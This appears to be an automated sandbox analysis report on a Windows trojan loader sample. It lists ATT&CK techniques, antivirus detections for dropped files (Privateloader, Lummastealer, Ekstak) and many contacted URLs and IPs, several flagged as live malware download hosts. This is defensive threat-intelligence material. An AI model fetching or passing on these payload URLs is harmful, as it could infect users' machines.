IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	23 Masquerading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	571 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	511 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Services File Permissions Weakness	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Rundll32	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CHA0VZiz8y.exe	39%	ReversingLabs	Win64.Trojan.Operaloader
CHA0VZiz8y.exe	41%	Virustotal		Browse
CHA0VZiz8y.exe	100%	Avira	HEUR/AGEN.1314708

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	100%	Avira	TR/Staser.ykqao
C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe	100%	Avira	HEUR/AGEN.1324352
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\ProgramData\JANA timezone 2.12.66\JANA timezone 2.12.66.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\oiii[1].exe	46%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\123p[1].exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Retailer_prog[1].exe	79%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Default15_s[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\default_s[1].exe	67%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqls[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	54%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\kat806.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\Qt5OpenGL.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Svg.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\Qt5WinExtras.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Xml.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\QtAVWidgets1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\avdevice-58.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-2FJL8.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-3LABF.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-5LVFF.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-99KJO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-9ULQD.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-BEO98.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-CKPLA.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-E4QTE.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-F6JQ6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-FS8TN.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-HB2OO.tmp	88%	ReversingLabs	Win32.Trojan.Ekstak
C:\Users\user\AppData\Local\Turquoise CD Player\is-JE3T2.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-JVAO2.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-KQVQS.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\is-U2S42.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\libcurl.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\libeay32.dll (copy)	88%	ReversingLabs	Win32.Trojan.Ekstak
C:\Users\user\AppData\Local\Turquoise CD Player\libmp3lame.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\mousehelper.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\msvcp120.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140_1.dll (copy)	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	URL Reputation	safe
https://db-ip.com/	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	URL Reputation	safe
http://www.innosetup.com/	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://aka.ms/dotnet-core-applaunch?	0%	URL Reputation	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://lop.foxesjoy.com/R	100%	Avira URL Cloud	malware
http://5.42.66.10/download/th/retail.phphp	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://147.45.47.149:54674/vape/niko.exe	100%	Avira URL Cloud	malware
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	0%	Avira URL Cloud	safe
https://login.vk.com/?act=logout&hash=b3a96a5acc0a409d0f&_origin=https%3A%2F%2Fvk.com&lrt=BDpxh3TFcr	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://ns.microsoft.co2/t/Re	0%	Avira URL Cloud	safe
https://papi.vk.com/pushsse/ruim	0%	Avira URL Cloud	safe
https://fleur-de-lis.sbs/p~	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	0%	Virustotal		Browse
http://5.42.66.10/download/th/retail.phphp	7%	Virustotal		Browse
https://fleur-de-lis.sbs/jhgfdD	0%	Avira URL Cloud	safe
https://papi.vk.com/pushsse/ruim	0%	Virustotal		Browse
https://lop.foxesjoy.com:80/ssl/crt.exe	100%	Avira URL Cloud	malware
http://85.192.56.26/api/flash.phpdow	0%	Avira URL Cloud	safe
https://vk.com	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfe	0%	Avira URL Cloud	safe
https://vk.com:80/	0%	Avira URL Cloud	safe
https://vk.com	1%	Virustotal		Browse
http://fleur-de-lis.sbs/jhgfd	0%	Avira URL Cloud	safe
http://5.42.66.10/download/th/space.php#	100%	Avira URL Cloud	malware
http://147.45.47.149:54674/vape/niko.exe	15%	Virustotal		Browse
http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe	100%	Avira URL Cloud	malware
https://kurd.computer/dll/builddoc.exee	0%	Avira URL Cloud	safe
https://vk.com:80/	0%	Virustotal		Browse
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	0%	Avira URL Cloud	safe
http://f.alie3ksggg.com/f/oiii.exe	100%	Avira URL Cloud	malware
http://fleur-de-lis.sbs/jhgfd	2%	Virustotal		Browse
https://www.sqlite.org/lang_corefunc.html	0%	Virustotal		Browse
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	0%	Virustotal		Browse
http://f.alie3ksggg.com/f/oiii.exe	18%	Virustotal		Browse
http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe	21%	Virustotal		Browse
https://www.sqlite.org/lang_corefunc.html	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?The	0%	Avira URL Cloud	safe
http://5.42.66.10/download/th/space.php#	24%	Virustotal		Browse
https://aka.ms/dotnet-core-applaunch?The	1%	Virustotal		Browse
https://t.me/copterwin	0%	Avira URL Cloud	safe
https://fleur-de-lis.sbs/post/File_294/setup294.exer	0%	Avira URL Cloud	safe
https://kurd.computer/dll/builddoc.exersaenh.dll	0%	Avira URL Cloud	safe
https://vk.com/doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXn	0%	Avira URL Cloud	safe
http://85.192.56.26:80/api/bing_release.php:	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/8.46.123.175P	0%	Avira URL Cloud	safe
http://85.192.56.26/api/flash.php06	0%	Avira URL Cloud	safe
http://5.42.66.10/download/th/getimage15.php	100%	Avira URL Cloud	malware
https://kurd.computer/dll/builddoc.exe	100%	Avira URL Cloud	malware
https://ipinfo.io/widget/demo/8.46.123.175X	0%	Avira URL Cloud	safe
http://147.45.47.149:54674/vape/niko.exephpX	0%	Avira URL Cloud	safe
http://85.192.56.26:80/api/flash.phpA	0%	Avira URL Cloud	safe
https://kurd.computer/dll/builddoc.exe	2%	Virustotal		Browse
http://85.192.56.26/api/bing_release.php	100%	Avira URL Cloud	malware
https://t.me/copterwin	1%	Virustotal		Browse
https://monoblocked.com:80/525403/setup.exe	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://vk.com:80/z	0%	Avira URL Cloud	safe
https://monoblocked.com/525403/setup.exexer	0%	Avira URL Cloud	safe
http://5.42.66.10/download/th/getimage15.php	23%	Virustotal		Browse
http://85.192.56.26/api/bing_release.php	13%	Virustotal		Browse
https://kurd.computer:80/dll/builddoc.exeu	0%	Avira URL Cloud	safe
https://monoblocked.com:80/525403/setup.exe	15%	Virustotal		Browse
https://vk.com:80/v	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://ipinfo.io/?	0%	Avira URL Cloud	safe
https://stats.vk-portal.net	0%	Avira URL Cloud	safe
http://176.111.174.109/pelikanf	0%	Avira URL Cloud	safe
https://vk.com/browser_reports?dest=default_reports	0%	Avira URL Cloud	safe
http://85.192.56.26/api/flash.phpt	0%	Avira URL Cloud	safe
https://st6-20.vk.com/css/al/common.cb94d05c.css	0%	Avira URL Cloud	safe
https://st6-20.vk.com/css/al/vkui.c63ec9ec.css	0%	Avira URL Cloud	safe
https://ipinfo.io/:	0%	Avira URL Cloud	safe
https://fleur-de-lis.sbs/r	0%	Avira URL Cloud	safe
http://85.192.56.26/api/flash.phpDat	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=8.46.123.175	0%	Avira URL Cloud	safe
https://ipinfo.io/namehttps://ipgeolocation.io/status	0%	Avira URL Cloud	safe
https://fleur-de-lis.sbs/z	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/8.46.123.175	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.175c	0%	Avira URL Cloud	safe
https://monoblocked.com/525403/setup.exexe	0%	Avira URL Cloud	safe
http://185.172.128.159/dl.phpP	0%	Avira URL Cloud	safe
http://185.172.128.159/dl.phpO	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.175_	0%	Avira URL Cloud	safe
https://ipinfo.io/https://ipgeolocation.io/::	0%	Avira URL Cloud	safe
https://f.123654987.xyz/525403/setup.exeU	100%	Avira URL Cloud	malware
https://lop.foxesjoy.com/	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199689717899	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.47.149:54674/vape/niko.exe	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134495582.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138181954.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.42.66.10/download/th/retail.phphp	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://lop.foxesjoy.com/R	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://login.vk.com/?act=logout&hash=b3a96a5acc0a409d0f&_origin=https%3A%2F%2Fvk.com&lrt=BDpxh3TFcr	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c	A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000000.2267358139.000000000118E000.00000080.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://db-ip.com/	Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ns.microsoft.co2/t/Re	_ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2424687708.0000000002B0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://papi.vk.com/pushsse/ruim	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000000.2267358139.000000000118E000.00000080.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://fleur-de-lis.sbs/p~	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleur-de-lis.sbs/jhgfdD	CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lop.foxesjoy.com:80/ssl/crt.exe	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.192.56.26/api/flash.phpdow	0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com	CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfe	CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com:80/	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fleur-de-lis.sbs/jhgfd	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.42.66.10/download/th/space.php#	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe	CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://kurd.computer/dll/builddoc.exee	CHA0VZiz8y.exe, 00000000.00000003.2140216516.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
